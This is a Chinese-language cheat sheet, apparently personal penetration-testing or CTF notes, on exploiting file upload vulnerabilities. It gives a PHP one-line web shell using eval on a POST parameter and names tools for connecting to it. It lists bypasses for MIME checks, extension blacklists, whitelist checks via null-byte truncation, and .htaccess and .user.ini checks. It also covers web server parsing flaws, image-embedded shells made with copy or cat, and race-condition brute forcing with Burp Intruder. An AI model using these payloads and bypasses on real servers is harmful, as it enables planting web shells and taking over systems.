文件上传漏洞

文件上传漏洞
0.1 一句话木马的使用
<?php eval($_POST['pass'])?>
传入成功后可以用中国菜刀或者蚁剑连接,
测试可用<?php phpinfo();?>
1.1 前端拦截
关闭浏览器javascript功能后上传即可
1.2 MIME文件类型拦截
用bp抓包,将Content-Type后内容改为image/jpeg
即Content-Type: image/jpeg
1.3 关键字黑名单拦截
黑名单判断,凡是出现在黑名单的都不让过
- 尝试更改同义后缀
.php => .php3 .php4 .php5 .pht .phtml
大小写绕过
.php => .pHp
空格,点绕过
.php => .pHp. .
若是删除黑名单中的内容,双写绕过即可
1.4 图片内容检测绕过
.htassess绕过
<FilesMatch “xx”>SetHandler application/x-httpd-php </FilesMatch>
.user.ini绕过
auto_prepend_file=xx.jpg
二次渲染
对一个图片渲染,然后对比那些地方不会修改,将木马写入
1.5 白名单检测绕过
加入截断字符xx.php%00.jpg
POST包中将%00进行urldecode
1.6 截断上传绕过
IIS6/7/7.5解析漏洞,nginx低版本解析漏洞
IIS 5.x/6.0 test.asp/1.jpg muma.asp;.jpg IIS xxx/1.jpg/1.php
nginx低版本解析漏洞
Nginx xxx/1.jpg/1.php xxx/1.jpg%00php xxx/1.jpg%20%00php%20 ⇒ xxx/1.jpg \0php
Apache
1.php.jpg.png
从后面向前只有php可以被解析
1.7 压缩绕过
php发现.7z .zip .rar .gz压缩文件,会自动解压执行
x.php.7z可以当做php执行
2.1.1 图片木马
图片木马必须配合文件包含使用http://127.0.0.1/include.php?file=upload/muma.jpg
2.1.2 图片木马制作
法一:
windows cmdcopy tu.jpg /b+muma.php /a 2.jpg
linuxcat tu.jpg muma.php > 2.jpg
法二:
GIF89a
保存为gif格式
法三:
使用c32软件,打开图片拉到最下面,把木马的代码复制进去
2.1.3 二次渲染绕过
不推荐使用png和jpg,使用gif
制作一个gif图,丢进去看看渲染了什么地方没有变,把一句话木马放在那个地方
同样使用c32
3.1 bp爆破
若是先存放文件,然后看看是否合法,不合法删掉
可以使用bp的intruder模块爆破
bp抓包–右键—send to intruder–payload选择number,10000次,总有一次在的 Xp